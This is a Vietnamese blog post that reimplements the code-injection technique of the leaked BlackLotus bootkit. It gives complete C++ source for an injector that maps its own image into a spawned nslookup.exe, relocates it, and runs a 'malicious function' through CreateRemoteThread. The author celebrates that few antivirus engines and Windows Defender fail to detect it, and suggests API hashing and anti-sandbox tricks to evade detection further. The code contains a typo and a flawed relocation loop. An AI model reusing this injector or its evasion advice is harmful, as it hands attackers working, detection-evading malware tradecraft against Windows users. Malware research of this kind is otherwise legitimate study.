## Mở đầu
Gần đây, mình có nghiên cứu source code của **BlackLotus**, một **UEFI bootkit** được rao bán ở các chợ đen trên **Darknet** với giá **5,000 USD**. Tuy nhiên, vì một lý do nào đó, nó đã được công khai trên [GitHub](https://github.com/ldpreload/BlackLotus) :smile:. Trong quá trình nghiên cứu source code, mình nhận thấy **BlackLotus** sử dụng một kỹ thuật code injection rất độc đáo. Vì lý do này, mình muốn triển khai lại kỹ thuật này và chia sẻ các kết quả đạt được với độc giả trong bài viết này. Bắt đầu vào bài viết thôi! :smiling_imp:
<div style="text-align:center;">
<img src="https://i0.wp.com/24.media.tumblr.com/tumblr_mdn5s0Q7Ht1r66g9jo1_500.gif" alt="">
</div>
## Các bước thực hiện
Dưới đây là các bước chi tiết khi thực hiện kỹ thuật code injection này:
**1. Tạo mới target process:** injector thực hiện việc tạo mới target process để bắt đầu quá trình injection. Tuy nhiên, cũng có thể sử dụng một process có sẵn thay vì tạo mới.

**2. Tạo và ánh xạ file mapping object vào injector:** injector tạo mới một file mapping object bằng API **CreateFileMapping()**, sau đó ánh xạ view của file mapping object này vào **Virtual Address Space (VAS)** của chính nó bằng cách gọi API **MapViewOfFile()**.

**3. Ánh xạ file mapping vào target process:** injector tiến hành ánh xạ file mapping object của nó vào target process dưới dạng là một section view. Việc này có thể được thực hiện bằng cách sử dụng API **NtMapViewOfSection()**.

**4. Nạp injector image vào target process và thực hiện relocation:** injector chèn executable image của chính nó vào view của file mapping đã được ánh xạ. Do file mapping có cơ chế tự đồng bộ hóa giống như section, executable image của injector cũng sẽ được ánh xạ vào section view trong **VAS** của target process. Để quá trình injection diễn ra thành công, ta cần thực hiện relocation cho injector image vừa được chèn vào.

**5. Thực thi malicious function trong target process:** ở bước cuối cùng, injector chỉ cần tạo mới thread trong target process để thực thi malicious function.

## Triển khai cụ thể
Đầu tiên, ta cần xác định image base của injector, điều này có thể dễ dàng thực hiện bằng cách sử dụng API **GetModuleHandle()** với tham số truyền vào là **NULL**. Tuy nhiên, để tăng khả năng bypass được **anti-virus (AV)**, ta có thể thực hiện quá trình này theo cách thuần túy.
Để thực hiện nó, ta cần chọn một vị trí bất kỳ trong image mà ta muốn xác định image base. Từ vị trí đã chọn, ta sẽ lùi lại theo từng bước cho đến khi tìm được image base. Mỗi bước lùi lại, ta kiểm tra xem vị trí hiện tại có phải là DOS header hay không? Nếu đúng, thì vị trí hiện tại chính là image base cần tìm.

Để xác định một cách chính xác liệu vị trí hiện tại có phải là **DOS header** hay không thì ta cần kiểm tra **DOS signature** của nó. Tuy nhiên, việc chỉ kiểm tra mỗi DOS signature là không đủ bởi vì DOS signature trong DOS header có thể bị hiểu nhầm với câu lệnh assembly `pop r10` trong kiến trúc **x64**. Nếu vô tình gặp phải câu lệnh này trong quá trình tìm kiếm, quá trình xác định image base có thể không chính xác. Vì thế, ta cần kiểm tra thêm một số điều kiện phụ để chắc chắn vị trí hiện tại chính là DOS header.
Điều kiện phụ đầu tiên ta cần thực hiện là kiểm tra trường **e_lfanew** của DOS header; trường này lưu trữ offset giữa DOS header và NT header và giá trị tối đa của nó là 0x1000. Tiếp theo, ta tính toán vị trí của **NT header** bằng cách cộng giá trị e_lfanew với vị trí đang duyệt. Sau đó, kiểm tra tính đúng đắn của **NT signature** tại vị trí này. Nếu giá trị NT signature chính xác thì điều này chứng tỏ vị trí hiện tại là image base của injector.
Toàn bộ quá trình này có thể được triển khai bằng đoạn code sau. Với mỗi bước đi ngược lại, ta trừ đi 0x1000 cho vị trí hiện tại, **bởi vì image base của process luôn luôn nằm ở vị trí chia hết cho kích thước của một page trong Windows**, vốn là 4096 byte, hay 0x1000 byte.

Khi đã xác định được image base của injector, bước tiếp theo là tạo một file mapping object và ánh xạ nó vào VAS của injector. Điều này có thể thực hiện bằng cách gọi API **CreateFileMappingW()** và sau đó sử dụng **MapViewOfFile()** để ánh xạ file mapping vào VAS của injector. Khi đã có file mapping, ta sẽ sao chép toàn bộ image của injector vào file mapping này.

Việc tiếp theo cần thực hiện là tạo mới một target process bằng API **CreateProcessW()**. Sau đó, ánh xạ file mapping vào **VAS** của target process dưới dạng một **section view**. Xong bước này, image của injector đã được hiện diện trong target process.

Ngoài ra, việc thực hiện relocation là không thể thiếu. Vì image của injector được chèn vào target process có địa chỉ khác với image base ban đầu, nên quá trình relocation phải cần được triển khai. Mình đã giải thích chi tiết quá trình này trong bài viết về [Process Hollowing](https://hackmd.io/@LeNhutHoang2112/Sk4ZLgGc6) nên sẽ không lặp lại ở đây. Bạn đọc có thể tham khảo bài viết của mình để hiểu rõ hơn về cơ chế này.

Việc cuối cùng cần làm là tạo một thread mới bằng API **CreateRemoteThread()** để thực thi malicious function trong target process. Lưu ý rằng địa chỉ của malicious function trong target process sẽ bằng địa chỉ của nó trong injector cộng với độ chênh lệch của image base gốc và sau khi chèn vào target process.

Về chức năng của malicious function, nó sẽ tạo mới một process **notepad.exe** trong target process bằng API **CreateProcessW()**.

Dưới đây là toàn bộ source code mà mình dùng để thực hiện kỹ thuật này.
```cpp=
#include<stdio.h>
#include<Windows.h>
#include<winnt.h>
#include<winternl.h>
#pragma comment(lib, "ntdll")
#define CURRENT_PROCESS -1
#define BREAK_WITH_ERROR(m) {printf("[-] %s! Error 0x%x", m, GetLastError()); break;}
#define BREAK_WITH_STATUS(m, s) {printf("[-] %s! Error 0x%x", m, s); break;}
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
typedef NTSTATUS(NTAPI* pfnNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
typedef NTSTATUS(NTAPI* pfnNtMapViewOfSection)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress OPTIONAL,
IN ULONG ZeroBits OPTIONAL,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN DWORD InheritDisposition,
IN ULONG AllocationType OPTIONAL,
IN ULONG Protect
);
typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress);
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength);
BOOL ProcessInjection();
VOID MaliciousFunction();
UINT_PTR GetImageBase(UINT_PTR);
int main() {
ProcessInjection();
return 0;
}
VOID MaliciousFunction() {
PROCESS_INFORMATION pi;
STARTUPINFO si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizoef(si));
si.cb = sizeof(si);
WCHAR path[] = L"C:\\Windows\\System32\\notepad.exe";
if (!CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
return;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
UINT_PTR GetImageBase(UINT_PTR funcAddr) {
UINT_PTR curPos = (UINT_PTR)funcAddr;
curPos = (UINT_PTR)(curPos & 0xFFFFFFFFFFFF0000);
while (TRUE) {
PIMAGE_DOS_HEADER dosHeader = curPos;
if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE) {
if (dosHeader->e_lfanew < 0x1000) {
PIMAGE_NT_HEADERS ntHeaders = &((LPBYTE)curPos)[dosHeader->e_lfanew];
if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
curPos -= 0x1000;
}
return curPos;
}
BOOL ProcessInjection() {
BOOL returnStatus = FALSE;
NTSTATUS status = 0;
HMODULE hNtdll = NULL;
pfnNtMapViewOfSection pNtMapViewOfSection = NULL;
pfnNtUnmapViewOfSection pNtUnmapViewOfSection = NULL;
pfnNtQueryInformationProcess pNtQueryInformationProcess = NULL;
HANDLE hLocalImage = NULL;
UINT_PTR localImage = NULL;
UINT_PTR desImage = NULL;
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof(si) };
WCHAR targetPath[] = L"C:\\Windows\\System32\\nslookup.exe";
HANDLE hThread = NULL;
do {
if (!(hNtdll = GetModuleHandleW(L"ntdll")))
BREAK_WITH_ERROR("Failed to get ntdll path");
if (!(pNtQueryInformationProcess = GetProcAddress(hNtdll, "NtQueryInformationProcess")))
BREAK_WITH_ERROR("Failed to get NtQueryInformationProcess()");
if (!(pNtMapViewOfSection = GetProcAddress(hNtdll, "NtMapViewOfSection")))
BREAK_WITH_ERROR("Failed to get NtMapViewOfSection()");
if (!(pNtUnmapViewOfSection = GetProcAddress(hNtdll, "NtUnmapViewOfSection")))
BREAK_WITH_ERROR("Failed to get NtUnmapViewOfSection()");
// Get main module and size
UINT_PTR imageBase = GetImageBase(MaliciousFunction);
PIMAGE_DOS_HEADER dosHeader = imageBase;
PIMAGE_NT_HEADERS ntHeader = &((LPBYTE)dosHeader)[dosHeader->e_lfanew];
UINT_PTR localImageSize = ntHeader->OptionalHeader.SizeOfImage;
if (!(hLocalImage = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, localImageSize, NULL)))
BREAK_WITH_ERROR("Failed to create file mapping");
if (!(localImage = MapViewOfFile(hLocalImage, FILE_MAP_WRITE, 0, 0, localImageSize)))
BREAK_WITH_ERROR("Failed to map view of file");
RtlCopyMemory(localImage, dosHeader, localImageSize);
// Open target process
if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
BREAK_WITH_ERROR("Failed to create target process");
UINT_PTR targetImage = NULL;
if (!NT_SUCCESS(status = pNtMapViewOfSection(hLocalImage, pi.hProcess, &targetImage,0, localImageSize, NULL, &localImageSize, ViewUnmap, 0, PAGE_EXECUTE_READWRITE)))
BREAK_WITH_ERROR("Failed to map source image to target process");
dosHeader = localImage;
ntHeader = &((LPBYTE)dosHeader)[dosHeader->e_lfanew];
UINT_PTR denta = targetImage - ntHeader->OptionalHeader.ImageBase;
UINT_PTR relocSize = 0;
PBASE_RELOCATION_BLOCK relocBlock = NULL;
relocBlock = localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
relocSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
// Relocation
UINT_PTR relocOffset = 0;
while (relocOffset < relocSize) {
PBASE_RELOCATION_ENTRY relocEntry = (UINT_PTR)relocBlock + sizeof(*relocBlock);
UINT_PTR numEntry = (relocBlock->BlockSize - sizeof(*relocBlock)) / sizeof(*relocEntry);
for (UINT_PTR i = 0; i < numEntry; i++) {
if (IMAGE_REL_BASED_ABSOLUTE == relocEntry->Type)
continue;
UINT_PTR relocPos = localImage + relocBlock->PageAddress + relocEntry[i].Offset;
*((UINT_PTR*)relocPos) = *((UINT_PTR*)relocPos) + denta;
}
relocOffset += relocBlock->BlockSize;
relocBlock = (UINT_PTR)relocBlock + relocBlock->BlockSize;
}
// Calculate new malicious function address in target process
UINT_PTR targetFuncAddr = (UINT_PTR)MaliciousFunction - imageBase + targetImage;
if (!(hThread = CreateRemoteThread(pi.hProcess, NULL, 0, targetFuncAddr, NULL, 0, NULL)))
BREAK_WITH_ERROR("Failed to create remote thread");
returnStatus = TRUE;
} while (0);
if (localImage)
UnmapViewOfFile(localImage);
if (hLocalImage)
CloseHandle(hLocalImage);
if (pi.hThread)
CloseHandle(pi.hThread);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (hThread)
CloseHandle(hThread);
return returnStatus;
}
```
## Kết quả
Trong quá trình triển khai kỹ thuật này, mình đã tạo mới process **nslookup.exe** làm target process. Khi injector được chạy, process **notepad.exe** đã được tạo ra.

Sử dụng công cụ **Process Hacker**, ta có thể dễ dàng nhận thấy rằng process **notepad.exe** được tạo ra bởi process **nslookup.exe**.

Khi kiểm tra VAS của **nslookup.exe**, ta sẽ thấy một memory block có quyền truy cập **RWX (Read-Write-Execute)**. Nội dung của memory block này chính là image của injector mà ta đã chèn vào. Điều này chứng tỏ rằng ta đã thực hiện kỹ thuật thành công. :sign_of_the_horns:

Theo report của virustotal, chỉ có 7/70 AV đã phát hiện injector là malware. Một kết quả đáng kinh ngạc. :sunglasses:

https://www.virustotal.com/gui/file/3afd1561808633d4eacd7beaef995f26b2b3b35ae49669e497a8a2fe3a0196f0?nocache=1
Đáng chú ý hơn, kỹ thuật này đã bypass được **Windows Defender**. Để đạt được kết quả tốt hơn, ta có thể kết hợp thêm các kỹ thuật như **API Hashing** hoặc **anti-sandbox**. :smiling_imp:

## Kết luận
Trong bài viết này, mình đã triển khai thành công kỹ thuật code injection của BlackLotus. Mình hy vọng rằng những nghiên cứu này sẽ hỗ trợ những ai đang tìm hiểu và nghiên cứu về lĩnh vực malware. :dog:
:::warning
:zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn.
:::
## Tham khảo
1. https://github.com/ldpreload/BlackLotus
2. https://learn.microsoft.com/en-us/windows/win32/debug/pe-format